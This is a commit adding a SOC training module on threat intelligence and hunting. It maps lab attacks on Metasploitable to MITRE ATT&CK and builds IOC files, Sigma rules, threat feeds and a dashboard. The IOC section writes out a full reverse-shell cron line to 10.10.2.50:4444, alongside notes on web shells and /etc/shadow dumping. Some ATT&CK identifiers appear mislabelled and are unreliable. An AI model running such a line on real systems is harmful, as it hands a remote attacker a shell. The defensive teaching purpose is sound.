initial commit
This commit is contained in:
375
MOD8_Threat_Intelligence.md
Normal file
375
MOD8_Threat_Intelligence.md
Normal file
@@ -0,0 +1,375 @@
|
||||
# FILE: MOD8_Threat_Intelligence.md
|
||||
# MODULE 8: THREAT INTELLIGENCE & HUNTING
|
||||
|
||||
## Learning Objectives
|
||||
- Map observed attacks to MITRE ATT&CK framework
|
||||
- Create and use Indicators of Compromise (IOCs)
|
||||
- Perform hypothesis-driven threat hunting
|
||||
- Build threat intelligence feeds
|
||||
- Update SOC dashboard with coverage metrics
|
||||
|
||||
---
|
||||
|
||||
## MITRE ATT&CK FRAMEWORK
|
||||
|
||||
### Understanding the Matrix
|
||||
|
||||
**Tactics** (Why): Attacker's objectives
|
||||
- Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command & Control, Impact
|
||||
|
||||
**Techniques** (How): Methods to achieve tactics
|
||||
- Example: T1190 (Exploit Public-Facing Application)
|
||||
|
||||
**Sub-Techniques**: Specific variations
|
||||
- Example: T1190.001 (SQL Injection)
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.1: MAP MOD3 ATTACKS TO MITRE ATT&CK
|
||||
|
||||
### Metasploitable Exploitation Chain Mapping
|
||||
|
||||
```
|
||||
ATTACK STEP 1: Port Scanning (MOD2)
|
||||
MITRE Tactic: Reconnaissance (TA0043)
|
||||
MITRE Technique: T1046 - Network Service Scanning
|
||||
Detection: Suricata rule "GPL SCAN nmap"
|
||||
|
||||
ATTACK STEP 2: vsftpd Backdoor Exploitation (MOD3)
|
||||
MITRE Tactic: Initial Access (TA0001)
|
||||
MITRE Technique: T1190 - Exploit Public-Facing Application
|
||||
Sub-Technique: FTP Service Exploitation
|
||||
Detection: Connection to port 6200
|
||||
|
||||
ATTACK STEP 3: Command Execution
|
||||
MITRE Tactic: Execution (TA0002)
|
||||
MITRE Technique: T1059.004 - Unix Shell
|
||||
Detection: Process creation logs, bash spawned by vsftpd
|
||||
|
||||
ATTACK STEP 4: Credential Dumping (hashdump)
|
||||
MITRE Tactic: Credential Access (TA0006)
|
||||
MITRE Technique: T1003.008 - /etc/passwd and /etc/shadow
|
||||
Detection: File access logs on /etc/shadow
|
||||
|
||||
ATTACK STEP 5: SSH Key Persistence
|
||||
MITRE Tactic: Persistence (TA0003)
|
||||
MITRE Technique: T1098.004 - SSH Authorized Keys
|
||||
Detection: File modification on /root/.ssh/authorized_keys
|
||||
|
||||
ATTACK STEP 6: Network Connection (Reverse Shell)
|
||||
MITRE Tactic: Command and Control (TA0011)
|
||||
MITRE Technique: T1071.001 - Application Layer Protocol (HTTP/TCP)
|
||||
Detection: Outbound connection to 10.10.2.50:4444
|
||||
```
|
||||
|
||||
### Create MITRE Coverage Heatmap
|
||||
|
||||
```javascript
|
||||
// For React dashboard: dashboard/src/data/mitreAttackCoverage.js
|
||||
|
||||
export const mitreCoverage = {
|
||||
tactics: [
|
||||
{
|
||||
name: "Initial Access",
|
||||
id: "TA0001",
|
||||
techniques: [
|
||||
{ id: "T1190", name: "Exploit Public-Facing Application", detected: true, ruleId: "SID:1000050" },
|
||||
{ id: "T1133", name: "External Remote Services", detected: false },
|
||||
]
|
||||
},
|
||||
{
|
||||
name: "Execution",
|
||||
id: "TA0002",
|
||||
techniques: [
|
||||
{ id: "T1059.004", name: "Unix Shell", detected: true, ruleId: "SID:1000051" }
|
||||
]
|
||||
},
|
||||
{
|
||||
name: "Persistence",
|
||||
id: "TA0003",
|
||||
techniques: [
|
||||
{ id: "T1098.004", name: "SSH Authorized Keys", detected: true, ruleId: "SID:1000052" }
|
||||
]
|
||||
},
|
||||
// ... continue for all tactics
|
||||
]
|
||||
};
|
||||
|
||||
// Calculate coverage percentage
|
||||
const totalTechniques = 200; // Approximate MITRE techniques
|
||||
const coveredTechniques = mitreCoverage.tactics.reduce((sum, tactic) =>
|
||||
sum + tactic.techniques.filter(t => t.detected).length, 0
|
||||
);
|
||||
const coveragePercent = (coveredTechniques / totalTechniques * 100).toFixed(1);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.2: INDICATORS OF COMPROMISE (IOCs)
|
||||
|
||||
### Create IOC Database
|
||||
|
||||
```bash
|
||||
# Structure IOCs from MOD3 exploitation
|
||||
|
||||
cat > /home/analyst/iocs_metasploitable_breach.txt << 'EOF'
|
||||
# Metasploitable Compromise - Feb 11, 2026
|
||||
|
||||
[NETWORK INDICATORS]
|
||||
Attacker_IP: 10.10.2.50
|
||||
C2_Port: 6200 (vsftpd backdoor)
|
||||
C2_Port: 4444 (reverse shell listener)
|
||||
Protocol: TCP
|
||||
|
||||
[FILE INDICATORS]
|
||||
/tmp/.hidden_shell.sh MD5:a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4
|
||||
/root/.ssh/authorized_keys Modified:2026-02-11T14:20:45Z
|
||||
/var/www/html/shell.php MD5:b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2e4
|
||||
|
||||
[REGISTRY/PERSISTENCE]
|
||||
Cron job: * * * * * /bin/bash -i >& /dev/tcp/10.10.2.50/4444 0>&1
|
||||
|
||||
[YARA RULE - Detect Meterpreter]
|
||||
rule Metasploit_Meterpreter
|
||||
{
|
||||
meta:
|
||||
description = "Detects Meterpreter payload signatures"
|
||||
author = "Apophis SOC"
|
||||
date = "2026-02-11"
|
||||
strings:
|
||||
$s1 = "meterpreter" nocase
|
||||
$s2 = "stdapi_" nocase
|
||||
$s3 = { 4D 65 74 65 72 70 72 65 74 65 72 } // "Meterpreter" hex
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
EOF
|
||||
```
|
||||
|
||||
### Threat Intel Platform Integration
|
||||
|
||||
```bash
|
||||
# Use MISP (Malware Information Sharing Platform)
|
||||
# Or OpenCTI (Open Cyber Threat Intelligence)
|
||||
|
||||
# For this lab, create simple CSV for IOC tracking:
|
||||
|
||||
cat > ioc_feed.csv << 'EOF'
|
||||
Type,Value,Severity,First_Seen,Last_Seen,Description
|
||||
IP,10.10.2.50,High,2026-02-11T14:00:00,2026-02-11T15:30:00,Kali attacker source
|
||||
Port,6200,High,2026-02-11T14:15:00,2026-02-11T14:16:00,vsftpd backdoor port
|
||||
Hash,a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4,Critical,2026-02-11T14:17:00,2026-02-11T14:17:00,Backdoor shell script
|
||||
Filename,shell.php,High,2026-02-11T14:22:00,2026-02-11T14:22:00,Web shell
|
||||
EOF
|
||||
|
||||
# Import to Security Onion for enrichment
|
||||
# Alerts matching these IOCs auto-escalate to Critical
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.3: THREAT HUNTING
|
||||
|
||||
### Hypothesis-Driven Hunting
|
||||
|
||||
**Hypothesis 1:** "Are there unauthorized SSH keys on critical servers?"
|
||||
|
||||
```bash
|
||||
# Hunt across all Linux systems
|
||||
|
||||
# Search file modifications
|
||||
find / -name authorized_keys -type f -mtime -7 -ls 2>/dev/null
|
||||
# Shows authorized_keys modified in last 7 days
|
||||
|
||||
# Compare against baseline
|
||||
# Golden image: Known-good authorized_keys hash
|
||||
md5sum /root/.ssh/authorized_keys
|
||||
# If hash differs → Investigate
|
||||
|
||||
# Query Security Onion
|
||||
event.dataset: "system.auth" AND file.path: "*authorized_keys*"
|
||||
```
|
||||
|
||||
**Hypothesis 2:** "Are there processes with suspicious parent relationships?"
|
||||
|
||||
```bash
|
||||
# Hunt for shells spawned by web servers
|
||||
|
||||
ps aux | grep -E "apache|nginx|httpd" | awk '{print $2}' | xargs -I {} pstree -p {}
|
||||
# Look for: apache --> bash --> netcat (BAD!)
|
||||
|
||||
# In Security Onion (Sysmon-like logging):
|
||||
process.parent.name: "apache2" AND process.name: ("bash" OR "sh" OR "nc")
|
||||
```
|
||||
|
||||
**Hypothesis 3:** "Are there large outbound data transfers (exfiltration)?"
|
||||
|
||||
```bash
|
||||
# Query Zeek connection logs
|
||||
event.dataset: "zeek.conn" AND network.bytes > 10000000 AND destination.ip: NOT 10.10.0.0/16
|
||||
# Find connections >10MB to external IPs
|
||||
|
||||
# In Kibana visualization:
|
||||
# X-axis: destination.ip
|
||||
# Y-axis: sum(network.bytes)
|
||||
# Shows top data transfer destinations
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.4: AUTOMATED THREAT HUNTING WITH SIGMA RULES
|
||||
|
||||
### Sigma Rule Format
|
||||
|
||||
```yaml
|
||||
# Sigma rule: Detects SSH authorized_keys modification
|
||||
|
||||
title: SSH Authorized Keys Modification
|
||||
id: 12345678-1234-1234-1234-123456789012
|
||||
status: experimental
|
||||
description: Detects modifications to SSH authorized_keys files (persistence)
|
||||
author: Apophis SOC
|
||||
date: 2026/02/11
|
||||
tags:
|
||||
- attack.persistence
|
||||
- attack.t1098.004
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
selection:
|
||||
type: 'PATH'
|
||||
name|endswith: '/authorized_keys'
|
||||
condition: selection
|
||||
falsepositives:
|
||||
- Legitimate administrator adding keys
|
||||
level: medium
|
||||
```
|
||||
|
||||
### Convert Sigma to Security Onion Query
|
||||
|
||||
```bash
|
||||
# Install sigmac (Sigma converter)
|
||||
pip3 install sigmatools
|
||||
|
||||
# Convert to Elasticsearch query
|
||||
sigmac -t es-qs -c /etc/sigma/config.yml ssh_authorized_keys.yml
|
||||
|
||||
# Output KQL:
|
||||
file.path: *authorized_keys AND event.action: modify
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.5: THREAT INTELLIGENCE FEEDS
|
||||
|
||||
### Consume External Threat Intel
|
||||
|
||||
```bash
|
||||
# Subscribe to abuse.ch feeds
|
||||
wget https://sslbl.abuse.ch/blacklist/sslipblacklist.csv -O /tmp/malicious_ips.csv
|
||||
|
||||
# Parse and import to Security Onion
|
||||
cat /tmp/malicious_ips.csv | grep -v "^#" | awk -F',' '{print $2}' > /tmp/ioc_ips.txt
|
||||
|
||||
# Create Suricata rule to alert on connections to these IPs
|
||||
while read ip; do
|
||||
echo "alert ip any any -> $ip any (msg:\"Connection to Known Malicious IP\"; sid:2000000; rev:1;)" >> /etc/suricata/rules/local.rules
|
||||
done < /tmp/ioc_ips.txt
|
||||
|
||||
# Restart Suricata
|
||||
sudo so-suricata-restart
|
||||
```
|
||||
|
||||
### Create Custom Threat Feed
|
||||
|
||||
```python
|
||||
# Python script: generate_threat_feed.py
|
||||
|
||||
import json
|
||||
from datetime import datetime
|
||||
|
||||
threat_feed = {
|
||||
"feed_name": "Apophis Lab Threat Intel",
|
||||
"version": "1.0",
|
||||
"generated": datetime.now().isoformat(),
|
||||
"indicators": [
|
||||
{
|
||||
"type": "ipv4-addr",
|
||||
"value": "10.10.2.50",
|
||||
"severity": "high",
|
||||
"labels": ["red-team", "internal-threat"],
|
||||
"first_seen": "2026-02-11T14:00:00Z",
|
||||
"tactics": ["TA0001", "TA0002", "TA0003"]
|
||||
},
|
||||
{
|
||||
"type": "md5",
|
||||
"value": "a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4",
|
||||
"severity": "critical",
|
||||
"labels": ["backdoor", "shell"],
|
||||
"techniques": ["T1059.004"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
with open('/var/www/html/threat_feed.json', 'w') as f:
|
||||
json.dump(threat_feed, f, indent=2)
|
||||
|
||||
print("Threat feed published to: http://10.10.3.50/threat_feed.json")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.6: UPDATE SOC DASHBOARD
|
||||
|
||||
### Integrate MITRE Coverage into React Dashboard
|
||||
|
||||
```javascript
|
||||
// dashboard/src/components/MitreHeatmap.jsx
|
||||
|
||||
import { mitreCoverage } from '../data/mitreAttackCoverage';
|
||||
|
||||
export function MitreHeatmap() {
|
||||
const tactics = mitreCoverage.tactics;
|
||||
|
||||
// Calculate coverage per tactic
|
||||
const tacticCoverage = tactics.map(tactic => ({
|
||||
name: tactic.name,
|
||||
total: tactic.techniques.length,
|
||||
detected: tactic.techniques.filter(t => t.detected).length,
|
||||
percentage: (tactic.techniques.filter(t => t.detected).length / tactic.techniques.length * 100).toFixed(0)
|
||||
}));
|
||||
|
||||
return (
|
||||
<div className="panel">
|
||||
<h2>MITRE ATT&CK Coverage</h2>
|
||||
{tacticCoverage.map(tactic => (
|
||||
<div key={tactic.name} className="coverage-bar">
|
||||
<span>{tactic.name}</span>
|
||||
<div className="progress-bar" style={{width: `${tactic.percentage}%`}}>
|
||||
{tactic.percentage}%
|
||||
</div>
|
||||
<span>{tactic.detected}/{tactic.total}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DELIVERABLES
|
||||
|
||||
- [ ] MITRE ATT&CK mapping table for all MOD3 attacks
|
||||
- [ ] IOC database (CSV or JSON format)
|
||||
- [ ] 3 threat hunting hypotheses with query results
|
||||
- [ ] Sigma rule for persistence detection
|
||||
- [ ] Custom threat intelligence feed (JSON)
|
||||
- [ ] Updated React dashboard with MITRE coverage heatmap
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 8**
|
||||
|
||||
Proceed to **CAPSTONE: APT Simulation** to integrate all skills.
|
||||
Reference in New Issue
Block a user